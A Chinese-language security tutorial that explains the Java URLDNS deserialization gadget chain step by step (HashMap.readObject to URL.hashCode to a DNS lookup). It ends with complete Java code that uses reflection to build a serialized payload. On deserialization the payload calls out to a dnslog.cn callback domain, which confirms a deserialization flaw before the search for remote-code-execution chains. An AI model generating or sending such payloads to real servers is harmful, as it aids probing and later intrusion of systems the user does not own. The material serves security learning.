文章目录
- 1、简介urldns链
- 2、hashmap与url类的分析
- 2.1、Hashmap类readObject方法的跟进
- 2.2、URL类hashcode方法的跟进
- 2.3、InetAddress类的getByName方法
- 3、整个链路的分析
- 3.1、整理上述的思路
- 3.2、一些疑问的测试
- 3.3、hashmap的put方法分析
- 3.4、反射
- 3.5、整个代码
- 4、补充说明
1、简介urldns链
URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,
因为是原生态,不存在什么版本限制。
HashMap结合URL触发DNS检查的思路。
在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。
之后再用各种gadget去尝试试RCE。
HashMap最早出现在JDK 1.2中,底层基于散列算法实现。
而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。
所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。
因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法
2、hashmap与url类的分析
2.1、Hashmap类readObject方法的跟进
新建一个文件,写一个Hashmap,跟进去,
找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,
之前我们反序列化漏洞的demo代码就是重写这个类造成的,
继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,
从这个参数定义,可以知道这个key是一个对象,
当key不为空的情况下,就会调用key这个对象的hashcode方法,
所以这个hashcode函数具体是哪个函数,取决于传入哪个对象
这里小结下先,
Hashmap.readObject -- HashMap.hash -- 传入对象得.hashCode
2.2、URL类hashcode方法的跟进
继续新建一个url类,跟进去,也有一个hashcode方法,看下内容
当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,
跟一下hashcode变量,发现其默认值为“-1”
也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,
这里比较重要,敲黑板
我们继续看下855行的代码“hashCode(this)”
看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,
继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,
InetAddress类的getByName方法的作用是,传入host解析IP,返回ip
传入ip,则返回Ip
这里继续小结下,
URL.hashcode -- URLStreamHandler.hashCode -->
--> URLStreamHandler.getHostAddress -- InetAddress.getByName
2.3、InetAddress类的getByName方法
我们来一个InetAddress类的getByName方法的demo
当我们不传递域名,而是直接传递IP呢
看到是直接返回了IP
继续,传一个错误的IP,会直接报错,
小结,
传入域名会解析其对应的IP,我们可以在dns的解析记录找到,
但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)
代码,
package com.example.demo2;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {
public static void main(String[] args) throws Exception {
try {
InetAddress address = InetAddress.getByName("www.baidu.com");
System.out.println("IP地址: " + address.getHostAddress());
} catch (UnknownHostException e) {
e.printStackTrace();
}
3、整个链路的分析
3.1、整理上述的思路
由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。
而url类的hashcode方法会解析dns对应的IP;
所以整个链接就是,
Hashmap.readObject -- HashMap.hash -->
--> URL.hashcode(传入对象) --> URLStreamHandler.hashCode -->
--> URLStreamHandler.getHostAddress -- InetAddress.getByName
由上面的结果推导出,最常见的触发demo代码,
package com.example.demo2;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class dns_hashmap {
public static void main(String[] args) throws MalformedURLException {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");
System.out.println(url);
System.out.println(url.getClass());
hashmap.put(url,2);
}
}
根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,
传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样
(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)
3.2、一些疑问的测试
这里还一个疑问是,10行的url是什么类型,他的值是什么,
经过输出,这个url是一个类,其值就是一个“字符串”,
但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,
这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)
假设传入的url是一个字符串会直接报错,这就不演示了
3.3、hashmap的put方法分析
简单的跟一下就明白,
这个key就是上边的url类,内容是定义url类构造方法定义的url
到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,
3.4、反射
一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,
这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)
ps:
其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。
代码,
package com.example.demo2;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class dns_hashmap {
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashmap = new HashMap<>();
URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");
System.out.println(url);
System.out.println(url.getClass());
hashmap.put(url,2);
Serialize(hashmap);
}
private static void Serialize(Object obj) throws IOException {
ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
InputStream.writeObject(obj);
InputStream.close();
}
}
为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,
我们可以通过反射技术来实现。
具体而言,就是在上述“2.2”的分析中,我们说
“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析
而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,
即可让代码在序列化的时候,不继续执行域名的解析。
具体代码如下:
HashMap<URL,Integer> hashmap =new HashMap<>();
URL url = new URL("http://a.9v0wib.dnslog.cn");
Class c = url.getClass();
、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。
、、具体来说,c是URL类的Class对象。
Field fieldhashcode=c.getDeclaredField("hashCode");
、、获取url类中对应的hashcode函数,保存到fieldhashcode中。
、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段
fieldhashcode.setAccessible(true);
、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了
fieldhashcode.set(url,222);
、、将hashcode的值由默认的“-1”改为任意值,这里是222
、、这样第一次运行的时候,就不会解析传入域名的ip了
hashmap.put(url,2);
、、正常需要触发的函数,
fieldhashcode.set(url,-1);
、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析
Serialize(hashmap);
3.5、整个代码
先把24行的反序列化注释,
第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,
再把12~22注释,24行反序列化解开,
第二次运行,反序列化执行,解析域名产生记录,
package com.example.demo2;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class dns_hashmap {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashmap =new HashMap<>();
URL url = new URL("http://a.9v0wib.dnslog.cn");
Class c = url.getClass();
Field fieldhashcode=c.getDeclaredField("hashCode");
fieldhashcode.setAccessible(true);
fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
hashmap.put(url,2);
fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
Serialize(hashmap);
// unserialize();
}
private static void Serialize(Object obj) throws IOException {
ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));
InputStream.writeObject(obj);
InputStream.close();
}
public static void unserialize() throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
ois.readObject();
ois.close();
}
}
4、补充说明
URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。
因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,
其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:
使用Java内置的类构造,对第三方库没有依赖
在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞
我们可以通过这条链很容易判断是否存在反序列化漏洞,
然后再去寻找可以命令执行的利用链